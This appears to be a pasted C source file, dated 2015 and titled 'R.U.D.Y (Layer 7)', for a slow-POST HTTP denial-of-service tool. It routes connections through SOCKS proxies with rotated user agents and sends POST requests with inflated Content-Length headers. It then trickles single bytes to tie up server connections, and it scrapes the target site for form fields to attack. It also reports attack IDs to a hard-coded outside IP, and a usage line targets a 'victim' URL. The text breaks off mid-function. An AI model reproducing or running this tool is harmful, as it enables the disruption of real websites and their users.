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TP2K1

R.U.D.Y (Layer 7)

TP2K1
May 30th, 2015
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  1. Note: How To use: http://victim 1 5000 proxies.txt 3600 0 %random%
  2.  
  3. #include <pthread.h>
  4. #include <sys/resource.h>
  5. #include <unistd.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <signal.h>
  10. #include <sys/socket.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/tcp.h>
  13. #include <netdb.h>
  14. #include <netinet/in.h>
  15. #include <ctype.h>
  16. char *useragents[] = {
  17. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  18. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  19. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  20. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  21. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  22. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  23. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  24. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  25. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  26. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  27. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  28. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  29. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  30. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  31. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  32. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  33. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  34. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  35. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  36. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  37. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  38. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  39. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  40. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  41. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  42. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  43. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  44. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  45. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  46. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  47. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  48. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  49. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  50. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  51. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  52. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  53. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  54. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  55. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  56. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  57. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  58. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  59. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  60. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  61. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  62. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  63. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  64. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  65. };
  66. #define ATTACKPORT 80
  67. char *postformat = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: #contentlen#\r\n\r\n%s=";
  68. char *postpayload;
  69. struct urlparts {
  70. char * name;
  71. char separator[4];
  72. char value[128];
  73. } parts[] = {
  74. { "scheme", ":" },
  75. { "userid", "@" },
  76. { "password", ":" },
  77. { "host", "//" },
  78. { "port", ":" },
  79. { "path", "/" },
  80. { "param", ";" },
  81. { "query", "?" },
  82. { "fragment", "#" }
  83. };
  84. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  85. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  86. struct urlparts *returnparts[8];
  87. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  88. struct proxy { char *type; char *ip; int port; int working; };
  89. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  90. struct list *head = NULL;
  91. char parseError[128];
  92. int parseURL(char *url, struct urlparts **returnpart);
  93. char * strsplit(char * s, char * tok);
  94. char firstpunc(char *s);
  95. int strleft(char * s, int n);
  96. void setupparts();
  97. void freeparts();
  98. char *stristr(const char *String, const char *Pattern);
  99. char *str_replace(char *orig, char *rep, char *with);
  100. char *geturl(char *url, char *useragent, char *ip);
  101. char *ipstr;
  102.  
  103. void *flood(void *par) {
  104. struct list *startpoint = (struct list *)par;
  105. int i;
  106. struct sockaddr_in serverAddr;
  107. signal(SIGPIPE, SIG_IGN);
  108. while(1)
  109. {
  110. int sent = 0;
  111. if(startpoint->data->working == 0)
  112. {
  113. startpoint = startpoint->next;
  114. sleep(1);
  115. continue;
  116. }
  117. memset(&serverAddr, 0, sizeof(serverAddr));
  118. serverAddr.sin_family = AF_INET;
  119. serverAddr.sin_port = htons(startpoint->data->port);
  120. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  121. int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  122. u_int yes=1;
  123. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  124. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  125. {
  126. startpoint->data->working = 0;
  127. startpoint = startpoint->next;
  128. continue;
  129. }
  130. if(strcmp(startpoint->data->type, "Socks4")==0)
  131. {
  132. unsigned char buf[10];
  133. buf[0] = 0x04;
  134. buf[1] = 0x01;
  135. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  136. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  137. buf[8] = 0x00;
  138. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  139. {
  140. startpoint->data->working = 0;
  141. startpoint = startpoint->next;
  142. close(serverSocket);
  143. continue;
  144. }
  145. }
  146. if(strcmp(startpoint->data->type, "Socks5")==0)
  147. {
  148. unsigned char buf[20];
  149. buf[0] = 0x05;
  150. buf[1] = 0x01;
  151. buf[2] = 0x00;
  152. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  153. {
  154. startpoint->data->working = 0;
  155. startpoint = startpoint->next;
  156. close(serverSocket);
  157. continue;
  158. }
  159. buf[0] = 0x05;
  160. buf[1] = 0x01;
  161. buf[2] = 0x00;
  162. buf[3] = 0x01;
  163. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  164. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  165. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  166. {
  167. printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
  168. perror("send 10");
  169. startpoint->data->working = 0;
  170. startpoint = startpoint->next;
  171. close(serverSocket);
  172. continue;
  173. }
  174. }
  175. char *length = (char *)malloc(255);
  176. sprintf(length, "%d", ((rand() % 10000) + 20000));
  177. char *httppartpayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  178. char *httppayload = str_replace(httppartpayload, "#contentlen#", length);
  179. free(httppartpayload);
  180. if(httppayload == NULL)
  181. {
  182. startpoint = startpoint->next;
  183. close(serverSocket);
  184. continue;
  185. }
  186. sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  187. //printf("sent main payload %d\n", sent);
  188. free(httppayload);
  189. //char *postshit = "Z";
  190. //while(send(serverSocket, postshit, 1, MSG_NOSIGNAL) > 0)
  191. // {
  192. // sleep(1);
  193. //printf(".");
  194. // }
  195. int success;
  196. do
  197. {
  198. char postshit = rand() % 97 + 26;
  199. success = send(serverSocket, &postshit, 1, MSG_NOSIGNAL);
  200. sleep(rand() % 3 + 1);
  201. //printf(".");
  202. } while (success > 0);
  203. close(serverSocket);
  204. usleep(30000);
  205. //startpoint = startpoint->next;
  206. }
  207. }
  208.  
  209. int fnAttackInformation(int attackID)
  210. {
  211. char szRecvBuff[1024];
  212. char packet[1024];
  213. char ip[] = "37.221.170.5";
  214.  
  215. snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  216.  
  217. struct sockaddr_in *remote;
  218. int sock;
  219. int tmpres;
  220.  
  221.  
  222. if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  223. {
  224. perror("Can't create TCP socket");
  225. exit(1);
  226. }
  227.  
  228. remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  229. remote->sin_family = AF_INET;
  230. tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  231.  
  232. if (tmpres < 0)
  233. {
  234. perror("Can't set remote->sin_addr.s_addr");
  235. exit(1);
  236. }
  237. else if (tmpres == 0)
  238. {
  239. fprintf(stderr, "%s is not a valid IP address\n", ip);
  240. exit(1);
  241. }
  242.  
  243. remote->sin_port = htons(80);
  244.  
  245. if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  246. {
  247. perror("Could not connect");
  248. exit(1);
  249. }
  250.  
  251. tmpres = send(sock, packet, strlen(packet), 0);
  252.  
  253. //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);
  254.  
  255. if (tmpres == -1){
  256. perror("Can't send query");
  257. exit(1);
  258. }
  259.  
  260. int i = 1;
  261. int dwTotal = 0;
  262.  
  263.  
  264. while (1)
  265. {
  266. i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  267. //printf("Received %d bytes\n", i);
  268. if (i <= 0)
  269. break;
  270.  
  271. dwTotal += i;
  272. }
  273.  
  274. szRecvBuff[dwTotal] = '\0';
  275.  
  276.  
  277. //printf("Received -> \n%s\n\n", szRecvBuff);
  278.  
  279.  
  280. close(sock);
  281.  
  282. //printf("Sent %d bytes\n", tmpres);
  283.  
  284. return 0;
  285. }
  286.  
  287. int main(int argc, char *argv[ ]) {
  288. if(argc < 5){
  289. fprintf(stderr, "Invalid parameters!\n");
  290. fprintf(stdout, "Usage: %s <target url> <auto scrape (1 or 0)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [manual parameter]\n", argv[0]);
  291. exit(-1);
  292. }
  293. //fprintf(stdout, "Setting up Sockets...\n");
  294. int num_threads = atoi(argv[3]);
  295. int scrapeit = atoi(argv[2]);
  296. FILE *pFile = fopen(argv[4], "rb");
  297. if(pFile==NULL)
  298. {
  299. perror("fopen"); exit(1);
  300. }
  301. fseek(pFile, 0, SEEK_END);
  302. long lSize = ftell(pFile);
  303. rewind(pFile);
  304. char *buffer = (char *)malloc(lSize*sizeof(char));
  305. fread(buffer, 1, lSize, pFile);
  306. fclose (pFile);
  307. int i=0;
  308. char *pch = (char *)strtok(buffer, ":");
  309. while(pch != NULL)
  310. {
  311. if(head == NULL)
  312. {
  313. head = (struct list *)malloc(sizeof(struct list));
  314. bzero(head, sizeof(struct list));
  315. head->data = (struct proxy *)malloc(sizeof(struct proxy));
  316. bzero(head->data, sizeof(struct proxy));
  317. head->data->working = 1;
  318. head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  319. pch = (char *)strtok(NULL, ":");
  320. if(pch == NULL) exit(-1);
  321. head->data->port = atoi(pch);
  322. pch = (char *)strtok(NULL, ":");
  323. head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  324. pch = (char *)strtok(NULL, ":");
  325. head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  326. head->next = head;
  327. head->prev = head;
  328. } else {
  329. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  330. bzero(new_node, sizeof(struct list));
  331. new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  332. bzero(new_node->data, sizeof(struct proxy));
  333. new_node->data->working = 1;
  334. new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  335. pch = (char *)strtok(NULL, ":");
  336. if(pch == NULL) break;
  337. new_node->data->port = atoi(pch);
  338. pch = (char *)strtok(NULL, ":");
  339. new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  340. pch = (char *)strtok(NULL, ":");
  341. new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  342. new_node->prev = head;
  343. new_node->next = head->next;
  344. head->next = new_node;
  345. }
  346. }
  347. free(buffer);
  348. const rlim_t kOpenFD = 1024 + (num_threads * 2);
  349. struct rlimit rl;
  350. int result;
  351. rl.rlim_cur = kOpenFD;
  352. rl.rlim_max = kOpenFD;
  353. result = setrlimit(RLIMIT_NOFILE, &rl);
  354. if (result != 0)
  355. {
  356. perror("setrlimit");
  357. fprintf(stderr, "setrlimit returned result = %d\n", result);
  358. }
  359. char *parameter;
  360. if(argc > 7)
  361. {
  362. parameter = argv[7];
  363. } else {
  364. parameter = "username";
  365. }
  366. setupparts();
  367. parseURL(argv[1], returnparts);
  368. if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  369. {
  370. ipstr = malloc(strlen(argv[6])+1);
  371. strcpy(ipstr, argv[6]);
  372. //fprintf(stdout, "Using manual IP...\n");
  373. } else {
  374. struct hostent *he;
  375. struct in_addr a;
  376. he = gethostbyname(returnparts[host]->value);
  377. if (he)
  378. {
  379. while (*he->h_addr_list)
  380. {
  381. bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  382. ipstr = malloc(INET_ADDRSTRLEN+1);
  383. inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  384. break;
  385. }
  386. }
  387. else
  388. { herror("gethostbyname"); }
  389. }
  390. char *targeturl = argv[1];
  391. char *targetparameter = parameter;
  392. if(scrapeit == 1)
  393. {
  394. char *original_domain = malloc(strlen(returnparts[host]->value)+1);
  395. strcpy(original_domain, returnparts[host]->value);
  396. freeparts();
  397. struct urllist *headurl = malloc(sizeof(struct urllist));
  398. bzero(headurl, sizeof(struct urllist));
  399. headurl->url = argv[1];
  400. headurl->done = 0;
  401. headurl->next = headurl;
  402. headurl->prev = headurl;
  403. int donescrape = 0;
  404. char *lasturl = "";
  405. while(headurl->done == 0)
  406. {
  407. if(headurl->url == NULL)
  408. {
  409. headurl->done = 1;
  410. headurl = headurl->next;
  411. continue;
  412. }
  413. if(strcmp(headurl->url, lasturl) == 0)
  414. {
  415. headurl->done = 1;
  416. headurl = headurl->next;
  417. continue;
  418. }
  419. lasturl = headurl->url;
  420. printf("Scraping: %s\n", headurl->url);
  421. char *buffer = geturl(headurl->url, useragents[rand() % (sizeof(useragents)/sizeof(char *))], ipstr);
  422. if(strstr(buffer, "\r\n\r\n")==NULL)
  423. {
  424. free(buffer);
  425. headurl->done = 1;
  426. headurl = headurl->next;
  427. continue;
  428. }
  429. char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  430. memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  431. char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  432. int status = atoi(strchr(strncpy(malloc(1024),headerstatus,strstr(headerstatus, "\r\n") - headerstatus), ' ') + 1);
  433. char *headers = strstr(headerstatus, "\r\n")+2;
  434. int temp = ((status/10)/10) % 10;
  435. if(temp == 4)
  436. {
  437. free(headerstatus);
  438. free(buffer);
  439. headurl->done = 1;
  440. headurl = headurl->next;
  441. continue;
  442. }
  443. if(temp == 3)
  444. {
  445. char *location = stristr(headers, "Location: ") + 10;
  446. if(location == NULL)
  447. {
  448. free(headerstatus);
  449. free(buffer);
  450. headurl->done = 1;
  451. headurl = headurl->next;
  452. continue;
  453. }
  454. struct urllist *newurl = malloc(sizeof(struct urllist));
  455. bzero(newurl, sizeof(struct urllist));
  456. char *nexturl = malloc(strstr(location, "\r\n") - location + 1);
  457. bzero(nexturl, strstr(location, "\r\n") - location + 1);
  458. strncpy(nexturl, location, strstr(location, "\r\n") - location);
  459. char *parsednexturl;
  460. setupparts();
  461. parseURL(nexturl, returnparts);
  462. if(!(*(returnparts[path]->value)))
  463. {
  464. free(headerstatus);
  465. free(buffer);
  466. headurl->done = 1;
  467. headurl = headurl->next;
  468. continue;
  469. }
  470. if(*(returnparts[host]->value))
  471. {
  472. char *host_tmp = str_replace(returnparts[host]->value, "www.", "");
  473. if(host_tmp != NULL)
  474. {
  475. if(strcmp(host_tmp, original_domain) != 0)
  476. {
  477. free(headerstatus);
  478. free(buffer);
  479. headurl->done = 1;
  480. headurl = headurl->next;
  481. continue;
  482. } else {
  483. original_domain = malloc(strlen(returnparts[host]->value)+1);
  484. bzero(original_domain, strlen(returnparts[host]->value)+1);
  485. strcpy(original_domain, returnparts[host]->value);
  486. }
  487.  
  488. } else {
  489. if(strcmp(returnparts[host]->value, original_domain) != 0)
  490. {
  491. free(headerstatus);
  492. free(buffer);
  493. headurl->done = 1;
  494. headurl = headurl->next;
  495. continue;
  496. }
  497. }
  498.  
  499. parsednexturl = malloc(strlen(nexturl)+1);
  500. bzero(parsednexturl, strlen(nexturl)+1);
  501. strcpy(parsednexturl, nexturl);
  502. } else {
  503. parsednexturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  504. bzero(parsednexturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  505. strcpy(parsednexturl, "http://");
  506. strcpy(parsednexturl + 7, original_domain);
  507. strcpy(parsednexturl + 7 + strlen(original_domain), "/");
  508. strcpy(parsednexturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  509. char *tmp = malloc(strlen(original_domain)+2);
  510. bzero(tmp, strlen(original_domain)+2);
  511. sprintf(tmp, "%s/", original_domain);
  512. char *tmp2 = malloc(strlen(original_domain)+3);
  513. bzero(tmp2, strlen(original_domain)+3);
  514. sprintf(tmp2, "%s//", original_domain);
  515. char *parsednexturl_tmp = str_replace(parsednexturl, tmp2, tmp);
  516. if(parsednexturl_tmp != NULL)
  517. {
  518. free(parsednexturl);
  519. parsednexturl = parsednexturl_tmp;
  520. }
  521. free(tmp);
  522. free(tmp2);
  523. }
  524. freeparts();
  525. free(nexturl);
  526.  
  527. newurl->url = parsednexturl;
  528. newurl->done = 0;
  529. newurl->next = headurl->next;
  530. newurl->prev = headurl;
  531. headurl->next = newurl;
  532. headurl->done = 1;
  533. headurl = headurl->next;
  534. free(headerstatus);
  535. free(buffer);
  536. continue;
  537. }
  538. char *formstart = body;
  539. while(stristr(formstart, "<form")!=NULL)
  540. {
  541. formstart = stristr(formstart, "<form")+5;
  542. char *formend = stristr(formstart, "</form");
  543. char *input = formstart;
  544. char *method = stristr(formstart, "method=");
  545. if(method == NULL || method > stristr(formstart, ">"))
  546. {
  547. continue;
  548. }
  549. char *methodstart = method+7;
  550. char *methodname = NULL;
  551. if(strchr(methodstart, '"')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '"'))
  552. {
  553. methodstart = strchr(method, '"')+1;
  554. methodname = malloc(strchr(methodstart, '"') - methodstart + 1);
  555. bzero(methodname, strchr(methodstart, '"') - methodstart + 1);
  556. strncpy(methodname, methodstart, strchr(methodstart, '"') - methodstart);
  557. } else if(strchr(methodstart, '\'')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '\''))
  558. {
  559. methodstart = strchr(method, '\'')+1;
  560. methodname = malloc(strchr(methodstart, '\'') - methodstart + 1);
  561. bzero(methodname, strchr(methodstart, '\'') - methodstart + 1);
  562. strncpy(methodname, methodstart, strchr(methodstart, '\'') - methodstart);
  563. } else {
  564. char *end = NULL;
  565. if(strchr(methodstart, ' ') > strchr(methodstart, '>'))
  566. {
  567. end = strchr(methodstart, '>');
  568. } else {
  569. end = strchr(methodstart, ' ');
  570. }
  571. methodname = malloc(end - methodstart + 1);
  572. bzero(methodname, end - methodstart + 1);
  573. strncpy(methodname, methodstart, end - methodstart);
  574. }
  575. int i;
  576. for(i=0;*(methodname + i);i++)
  577. {
  578. *(methodname + i) = toupper(*(methodname + i));
  579. }
  580. if(strcmp(methodname, "GET") == 0)
  581. {
  582. continue;
  583. }
  584. char *action = stristr(formstart, "action=");
  585. char *actionname = NULL;
  586. if(action == NULL || action > formend)
  587. {
  588. actionname = headurl->url;
  589. } else {
  590. char *actionstart = action;
  591. if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
  592. {
  593. actionstart = strchr(action, '"')+1;
  594. actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
  595. bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
  596. strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
  597. } else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
  598. {
  599. actionstart = strchr(action, '\'')+1;
  600. actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
  601. bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
  602. strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
  603. } else {
  604. char *end = NULL;
  605. if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
  606. {
  607. end = strchr(actionstart, '>');
  608. } else {
  609. end = strchr(actionstart, ' ');
  610. }
  611. actionname = malloc(end - action + 1);
  612. bzero(actionname, end - action + 1);
  613. strncpy(actionname, action, end - action);
  614. }
  615. }
  616. if(strcmp(actionname, "") == 0)
  617. {
  618. free(actionname);
  619. actionname = headurl->url;
  620. }
  621. while((input = stristr(input, "<input")) != NULL)
  622. {
  623. input = input + 6;
  624. char *inputname = stristr(input, "name=");
  625. if(inputname != NULL)
  626. {
  627. inputname = inputname+5;
  628. char *namestart = inputname;
  629. char *name;
  630. if(strchr(inputname, '"')!=NULL && strchr(inputname, '>') > strchr(inputname, '"'))
  631. {
  632. namestart = strchr(inputname, '"')+1;
  633. name = malloc(strchr(namestart, '"') - namestart + 1);
  634. bzero(name, strchr(namestart, '"') - namestart + 1);
  635. strncpy(name, namestart, strchr(namestart, '"') - namestart);
  636. } else if(strchr(inputname, '\'')!=NULL && strchr(inputname, '>') > strchr(inputname, '\''))
  637. {
  638. namestart = strchr(inputname, '\'')+1;
  639. name = malloc(strchr(namestart, '\'') - namestart + 1);
  640. bzero(name, strchr(namestart, '\'') - namestart + 1);
  641. strncpy(name, namestart, strchr(namestart, '\'') - namestart);
  642. } else {
  643. char *end = NULL;
  644. if(strchr(inputname, ' ') > strchr(inputname, '>'))
  645. {
  646. end = strchr(inputname, '>');
  647. } else {
  648. end = strchr(inputname, ' ');
  649. }
  650. name = malloc(end - inputname + 1);
  651. bzero(name, end - inputname + 1);
  652. strncpy(name, namestart, end - inputname);
  653. }
  654. targetparameter = name;
  655. setupparts();
  656. parseURL(actionname, returnparts);
  657. if(!(*(returnparts[path]->value)))
  658. {
  659. goto NOTRIGHT;
  660. }
  661. if(*(returnparts[host]->value))
  662. {
  663. if(strcmp(returnparts[host]->value, original_domain) != 0)
  664. {
  665. goto NOTRIGHT;
  666. }
  667. targeturl = actionname;
  668. } else {
  669. targeturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  670. bzero(targeturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  671. strcpy(targeturl, "http://");
  672. strcpy(targeturl + 7, original_domain);
  673. strcpy(targeturl + 7 + strlen(original_domain), "/");
  674. strcpy(targeturl + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  675. char *tmp = malloc(strlen(original_domain)+2);
  676. bzero(tmp, strlen(original_domain)+2);
  677. sprintf(tmp, "%s/", original_domain);
  678. char *tmp2 = malloc(strlen(original_domain)+3);
  679. bzero(tmp2, strlen(original_domain)+3);
  680. sprintf(tmp2, "%s//", original_domain);
  681. char *targeturl_tmp = str_replace(targeturl, tmp2, tmp);
  682. if(targeturl_tmp != NULL)
  683. {
  684. free(targeturl);
  685. targeturl = targeturl_tmp;
  686. }
  687. free(tmp);
  688. free(tmp2);
  689. }
  690. freeparts();
  691. free(headerstatus);
  692. free(buffer);
  693. printf("TARGET AQUIRED: %s, %s\n", targeturl, targetparameter);
  694. goto END;
  695. }
  696. }
  697. NOTRIGHT:
  698. continue;
  699. }
  700. char *link = body;
  701. while((link = stristr(link, "<a ")) != NULL)
  702. {
  703. link = link+3;
  704. char *href = stristr(link, "href=");
  705. if(href == NULL || href > stristr(link, ">"))
  706. {
  707. continue;
  708. }
  709. href = href + 5;
  710. char *hrefstart = href;
  711. char *hreftarget;
  712. if(strchr(hrefstart, '"')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '"'))
  713. {
  714. hrefstart = strchr(hrefstart, '"')+1;
  715. hreftarget = malloc(strchr(hrefstart, '"') - hrefstart + 1);
  716. bzero(hreftarget, strchr(hrefstart, '"') - hrefstart + 1);
  717. strncpy(hreftarget, hrefstart, strchr(hrefstart, '"') - hrefstart);
  718. } else if(strchr(hrefstart, '\'')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '\''))
  719. {
  720. hrefstart = strchr(hrefstart, '\'')+1;
  721. hreftarget = malloc(strchr(hrefstart, '\'') - hrefstart + 1);
  722. bzero(hreftarget, strchr(hrefstart, '\'') - hrefstart + 1);
